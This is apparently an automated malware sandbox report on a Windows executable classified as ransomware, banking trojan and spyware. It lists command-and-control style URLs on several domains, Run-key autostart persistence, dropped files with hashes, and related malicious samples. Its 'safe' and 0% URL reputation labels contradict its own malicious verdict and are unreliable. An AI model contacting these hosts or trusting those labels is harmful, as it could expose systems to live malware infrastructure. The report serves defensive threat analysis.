C:\Program Files (x86)\6fjdie\VCRUNTIME140.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://curl.haxx.se/docs/http-cookies.html	0%	URL Reputation	safe
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
https:///api.php/common/gettask/api.php/common/getdomain.200idleActivityTimePlugingsleep	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com:443/api.php/common/gettask32=C:	0%	Avira URL Cloud	safe
https://laosiji.swjoy.com/client/api/3172/qr_code.dohttps://laosiji.swjoy.com/client/api/3524/qr_cod	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/U	0%	Avira URL Cloud	safe
https://laosiji.swjoy.com/client/api/3172/qr_code.do	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/it$	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/fmB	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/gettask	0%	Avira URL Cloud	safe
https://data.iana.org/time-zones/tz-link.htmlPostScript	0%	Avira URL Cloud	safe
https://300.jumpw.com/Activity/cdn/300hero/tojmp/accesstojmp.json	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com:443/api.php/common/gettask	0%	Avira URL Cloud	safe
https://passport.jumpw.com/OtherGameUserLogin/CheckGameLogin.jsp?co=10139.https://passport.jumpw.com	0%	Avira URL Cloud	safe
https://laosiji.swjoy.com/client/api/3524/qr_code.do	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/text.bmpC:	0%	Avira URL Cloud	safe
https://300.jumpw.com/Activity/cdn/300hero/tojmp/testtojmp.json	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/d	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/t.bmpP	0%	Avira URL Cloud	safe
http://api.jumpw.com/Announcement.html?gameid=	0%	Avira URL Cloud	safe
https://www.geonames.org/	0%	Avira URL Cloud	safe
https://data.iana.org/time-zones/tz-link.html	0%	Avira URL Cloud	safe
https://www.geonames.org/Timezone	0%	Avira URL Cloud	safe
http://www.astro.com/swisseph.	0%	Avira URL Cloud	safe
https://cacer.goldenh0ur.com/api.php/common/getdomain	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/t.bmpmp	0%	Avira URL Cloud	safe
https://support.ubi.com/?GenomeId=954e66a0-be1b-4aa0-9690-fb75201e4e9epidRequired	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/long.bmpF	0%	Avira URL Cloud	safe
http://api.jumpw.com/Announcement.html?gameid=&channel=Receive	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/long.bmpE=H	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/gettaskson	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/gettaskb	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com:443/api.php/common/gettaskin	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/gettaskW	0%	Avira URL Cloud	safe
https://support.ubi.com/	0%	Avira URL Cloud	safe
http://sdk.jumpw.com/sdk/AdPodxt	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/6	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/t.bmp	0%	Avira URL Cloud	safe
http://www.astrolog.org/astrolog.htm	0%	Avira URL Cloud	safe
http://www.gnu.org	0%	Avira URL Cloud	safe
http://www.openssl.org/support/faq.html....................	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/d.bmpWhttp://web.ad87h92j.com/4/t.bmp	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/gettask4X	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/receivejson	0%	Avira URL Cloud	safe
http://sdk.jumpw.com/sdk/AdPodxtbgImageCustombtnNumbtn%dXbtn%dYbtn%dImgbtn%dTipbtn%dUrlPrgBgImagePrg	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/long.bmp	0%	Avira URL Cloud	safe
http://www.astrolog.org/astrolog.htmMain	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/d.bmp	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/text.bmp	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mvc.withoutyou5.com	104.26.7.127	true	false	unknown
cacer.goldenh0ur.com	104.21.17.45	true	false	unknown
web.ad87h92j.com	188.114.96.3	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://mvc.withoutyou5.com/api.php/common/gettask	false	Avira URL Cloud: safe	unknown
https://cacer.goldenh0ur.com/api.php/common/getdomain	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/receivejson	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/long.bmp	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://laosiji.swjoy.com/client/api/3172/qr_code.dohttps://laosiji.swjoy.com/client/api/3524/qr_cod	pXm5oVO3Go.exe	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/U	DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com:443/api.php/common/gettask32=C:	DAPIjX8.exe, 00000009.00000002.3245993542.000000000151E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/	DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://laosiji.swjoy.com/client/api/3172/qr_code.do	pXm5oVO3Go.exe	false	Avira URL Cloud: safe	unknown
https:///api.php/common/gettask/api.php/common/getdomain.200idleActivityTimePlugingsleep	DAPIjX8.exe, 00000009.00000002.3246679220.00000000032FE000.00000040.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3247531468.0000000010064000.00000002.00001000.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3246471111.00000000031D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://data.iana.org/time-zones/tz-link.htmlPostScript	pXm5oVO3Go.exe, 00000000.00000003.2577049291.0000000003C87000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2466007324.0000000010030000.00000004.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/it$	DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/fmB	DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.haxx.se/docs/http-cookies.html	pXm5oVO3Go.exe	false	URL Reputation: safe	unknown
https://300.jumpw.com/Activity/cdn/300hero/tojmp/accesstojmp.json	pXm5oVO3Go.exe	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	pXm5oVO3Go.exe	false	URL Reputation: safe	unknown
https://passport.jumpw.com/OtherGameUserLogin/CheckGameLogin.jsp?co=10139.https://passport.jumpw.com	pXm5oVO3Go.exe	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com:443/api.php/common/gettask	DAPIjX8.exe, 00000009.00000002.3245993542.000000000151E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://300.jumpw.com/Activity/cdn/300hero/tojmp/testtojmp.json	pXm5oVO3Go.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/text.bmpC:	pXm5oVO3Go.exe, 00000000.00000002.2608575327.0000000000CA9000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://laosiji.swjoy.com/client/api/3524/qr_code.do	pXm5oVO3Go.exe	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/d	DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.jumpw.com/Announcement.html?gameid=	pXm5oVO3Go.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/t.bmpP	pXm5oVO3Go.exe, 00000000.00000002.2608012130.0000000000848000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.geonames.org/	DAPIjX8.exe, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://data.iana.org/time-zones/tz-link.html	DAPIjX8.exe, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.geonames.org/Timezone	pXm5oVO3Go.exe, 00000000.00000003.2577049291.0000000003C87000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2466007324.0000000010030000.00000004.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/t.bmpmp	pXm5oVO3Go.exe, 00000000.00000002.2608575327.0000000000CA9000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.astro.com/swisseph.	libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://support.ubi.com/?GenomeId=954e66a0-be1b-4aa0-9690-fb75201e4e9epidRequired	DAPIjX8.exe, 00000009.00000002.3244823714.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, DAPIjX8.exe, 0000000A.00000002.2726111306.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, DAPIjX8.exe, 0000000B.00000002.2806197060.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/long.bmpF	pXm5oVO3Go.exe, 00000000.00000002.2608012130.000000000081B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.jumpw.com/Announcement.html?gameid=&channel=Receive	pXm5oVO3Go.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/long.bmpE=H	pXm5oVO3Go.exe, 00000000.00000002.2608012130.000000000081B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/gettaskson	DAPIjX8.exe, 00000009.00000003.2650399121.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/gettaskb	DAPIjX8.exe, 00000009.00000002.3245993542.0000000001579000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com:443/api.php/common/gettaskin	DAPIjX8.exe, 00000009.00000002.3245993542.000000000151E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/gettaskW	DAPIjX8.exe, 00000009.00000002.3245993542.0000000001579000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sdk.jumpw.com/sdk/AdPodxt	pXm5oVO3Go.exe	false	Avira URL Cloud: safe	unknown
https://support.ubi.com/	DAPIjX8.exe, 00000009.00000002.3244823714.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, DAPIjX8.exe, 0000000A.00000002.2726111306.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, DAPIjX8.exe, 0000000B.00000002.2806197060.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/t.bmp	pXm5oVO3Go.exe, 00000000.00000002.2608012130.0000000000848000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.astrolog.org/astrolog.htm	DAPIjX8.exe, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/6	DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html....................	pXm5oVO3Go.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/d.bmpWhttp://web.ad87h92j.com/4/t.bmp	pXm5oVO3Go.exe, 00000000.00000002.2608575327.0000000000CA9000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.gnu.org	libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/gettask4X	DAPIjX8.exe, 00000009.00000003.2743921387.0000000001603000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sdk.jumpw.com/sdk/AdPodxtbgImageCustombtnNumbtn%dXbtn%dYbtn%dImgbtn%dTipbtn%dUrlPrgBgImagePrg	pXm5oVO3Go.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/text.bmp	pXm5oVO3Go.exe, 00000000.00000003.2404109033.000000000086F000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2404040552.000000000086E000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2425205703.000000000086F000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2425129747.000000000086E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/d.bmp	pXm5oVO3Go.exe, 00000000.00000003.2425129747.0000000000866000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.astrolog.org/astrolog.htmMain	pXm5oVO3Go.exe, 00000000.00000003.2577049291.0000000003C87000.00000004.00000020.00020000.00000000.sdmp, pXm5oVO3Go.exe, 00000000.00000003.2466007324.0000000010030000.00000004.00000020.00020000.00000000.sdmp, DAPIjX8.exe, 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000A.00000002.2727092994.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, DAPIjX8.exe, 0000000B.00000002.2807257535.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/-	DAPIjX8.exe, 00000009.00000002.3245993542.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.7.127	mvc.withoutyou5.com	United States	13335	CLOUDFLARENETUS	false
104.21.17.45	cacer.goldenh0ur.com	United States	13335	CLOUDFLARENETUS	false
188.114.96.3	web.ad87h92j.com	European Union	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1499614
Start date and time:	2024-08-27 09:47:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	pXm5oVO3Go.exe renamed because original name is a hash value
Original Sample Name:	d863d9572524236e97528275899b73ffe7f182b4824bd7efc12a2e8ae3e8955e.exe
Detection:	MAL
Classification:	mal100.rans.bank.troj.spyw.evad.winEXE@6/8@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 73 Number of non-executed functions: 274
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:50:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WINDOWS C:\Program Files (x86)\6fjdie\DAPIjX8.exe
09:50:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WINDOWS C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/0U9QqTZ6/download
	FedEx Shipping Document.scr.exe	Get hash	malicious	Azorult	Browse	l0h5.shop/CM341/index.php
	Quote 1T PN40 082624.exe	Get hash	malicious	FormBook	Browse	www.lampgm.pro/em9t/
	weave.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	671893cm.n9shka.top/eternalpipeLowProcessDbDatalifewpPublicCdn.php
	steam_module_x64.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	671893cm.n9shka.top/eternalpipeLowProcessDbDatalifewpPublicCdn.php
	http://y8oj.tonetrau.com	Get hash	malicious	Unknown	Browse	y8oj.tonetrau.com/
	Bonelessness.exe	Get hash	malicious	Simda Stealer	Browse	qegyhig.com/login.php
	roundwood.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	http://www.pro-pharma.co.uk	Get hash	malicious	Unknown	Browse	proph.co.uk/blog/
	7aHn0kxDWZ.exe	Get hash	malicious	Xmrig	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
web.ad87h92j.com	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	CMB Monaco Signatures Consent Docs#299229(Revised).pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	188.114.97.3
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	https://docs.google.com/presentation/d/1p772m5RM1IL7T2czRhP4f72F4IrvoiS4-fTTq6BpzJg/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Feature Status Update D583R.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	GP Design INV20230103 $68,320.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	Quotation-27-08-24.exe	Get hash	malicious	FormBook	Browse	172.67.220.161
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	188.114.96.3
CLOUDFLARENETUS	CMB Monaco Signatures Consent Docs#299229(Revised).pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	188.114.97.3
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	https://docs.google.com/presentation/d/1p772m5RM1IL7T2czRhP4f72F4IrvoiS4-fTTq6BpzJg/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Feature Status Update D583R.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	GP Design INV20230103 $68,320.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	Quotation-27-08-24.exe	Get hash	malicious	FormBook	Browse	172.67.220.161
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	188.114.96.3
CLOUDFLARENETUS	CMB Monaco Signatures Consent Docs#299229(Revised).pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	188.114.97.3
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	https://docs.google.com/presentation/d/1p772m5RM1IL7T2czRhP4f72F4IrvoiS4-fTTq6BpzJg/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Feature Status Update D583R.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	GP Design INV20230103 $68,320.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	Quotation-27-08-24.exe	Get hash	malicious	FormBook	Browse	172.67.220.161
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Pago pendientes.xls	Get hash	malicious	HTMLPhisher	Browse	104.26.7.127 104.21.17.45
	French Group.js	Get hash	malicious	Remcos	Browse	104.26.7.127 104.21.17.45
	NwFP.exe	Get hash	malicious	SmokeLoader	Browse	104.26.7.127 104.21.17.45
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.26.7.127 104.21.17.45
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.26.7.127 104.21.17.45
	Mi_Documento.js	Get hash	malicious	AsyncRAT, DcRat	Browse	104.26.7.127 104.21.17.45
	French Group.js	Get hash	malicious	Unknown	Browse	104.26.7.127 104.21.17.45
	SecuriteInfo.com.Riskware.2144FlashPlayer.13074.5713.exe	Get hash	malicious	Unknown	Browse	104.26.7.127 104.21.17.45
	SecuriteInfo.com.Riskware.2144FlashPlayer.13074.5713.exe	Get hash	malicious	Unknown	Browse	104.26.7.127 104.21.17.45
	6rfHnQpz6K.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.26.7.127 104.21.17.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\6fjdie\VCRUNTIME140.dll	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse
C:\Program Files (x86)\6fjdie\DAPIjX8.exe	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse
C:\Program Files (x86)\6fjdie\libcef.dll	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse
C:\Program Files (x86)\6fjdie\MSVCP140.dll	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse
C:\Program Files (x86)\6fjdie\MSVCP140.dll	https://downloads.linktek.com/LR/SetupLinkReporter.zip	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Download File

Process:	C:\Users\user\Desktop\pXm5oVO3Go.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6453568
Entropy (8bit):	7.944493660771585
Encrypted:	false
SSDEEP:	196608:fW1Hje3HvntQwZSPyl7N6nds1HhmwcOaXr:myvtrxBL1QSaXr
MD5:	C8E8EEAF5464AF1A188B3DC12C890813
SHA1:	2DF041366B9DE8A2B982205B15F7264145E81644
SHA-256:	E528455778D952ACFC5B330B378F2C53CC92E55CFEAB1C1E1DBB52E01D626BB4
SHA-512:	8119BD5A7FE790F1EBF1B2C5411264C32A193718851746C26183B8A48293D61E8F9F3EEB97CC851A419B5B41038BC63BFFD17E99907AD4F8CDEE63F7151DBE46
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: nOyswc9ly2.dll, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f...............'..?.................0?...@..........................@.......kc.....................................`........0..u............Pb.@)..................................d.}.........@.............{..............................text...R.?......................... ..`.rdata.......0?.....................@..@.data...T.....H.....................@....idata...Q....J.....................@..@.tls......... K.....................@....00cfg.......0K.....................@..@.ubx0...z....@K.....................`..`.ubx1...`A_...y..B_.................`..`.rsrc...u....0.......J_.............@..@........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\6fjdie\MSVCP140.dll

Download File

Process:	C:\Users\user\Desktop\pXm5oVO3Go.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	436600
Entropy (8bit):	6.647460578716755
Encrypted:	false
SSDEEP:	12288:mgU0BGzePo6+J+4P0xYv7IQgihUgiW6QR7t5s03Ooc8dHkC2esMoWKl:I01Po6+J+dxYv7IQgR03Ooc8dHkC2e50
MD5:	C092885EA11BD80D35CB55C7D488F1E2
SHA1:	BFE2F5141AF49724A54C838B9A9CB6E54C4A6AA5
SHA-256:	885A0A146A83B0D5A19B88C4EB6372B648CFAED817BD31D8CD3FB91313DEA13D
SHA-512:	8A600CCF97A6D5201BB791A43F16CD4CCD19A8E9DECAE79B8BA3E5200B6E8936649626112B1C6BDB1465AB8AFB395803A68286C76B817245C6077D0536D03344
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: nOyswc9ly2.dll, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p.. 4.os4.os4.os..nr6.os=..s".os4.ns..osf.nr7.osf.kr?.osf.lr<.osf.jr..osf.or5.osf.s5.osf.mr5.osRich4.os........................PE..L...J(.`.........."!.........~...............0.......................................r....@A.........................T......<c..........................x#.......6...W..8............................W..@............`..8............................text...b........................... ..`.data...L(...0......................@....idata.......`.......2..............@..@.rsrc................J..............@..@.reloc...6.......8...N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\6fjdie\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\pXm5oVO3Go.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	79792
Entropy (8bit):	6.778797048504205
Encrypted:	false
SSDEEP:	1536:hExZIDobDaHrrAPsCbU4qzBHXpHolecbGpJGBNzZz3:yZPDaHrrobUHzDQecbGbGN
MD5:	9D5A742F221C4929A178BAF2B93FC7FB
SHA1:	928C9E0E1C18EC474C2F450CA00A154E44AC547A
SHA-256:	F10727074BCB4375F276E48DA64029D370299768536157321FB4BD9B1997B898
SHA-512:	F4614962C67BB41B8A2FB17E3112745F4BA012BBF382C1CC7DEACD6C8525A53D75890A2EB46F0DA61BFA054DC52505B09A29291D5FA1C25C6201A66B9DC4B547
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: nOyswc9ly2.dll, Detection: malicious, Browse
Reputation:	low
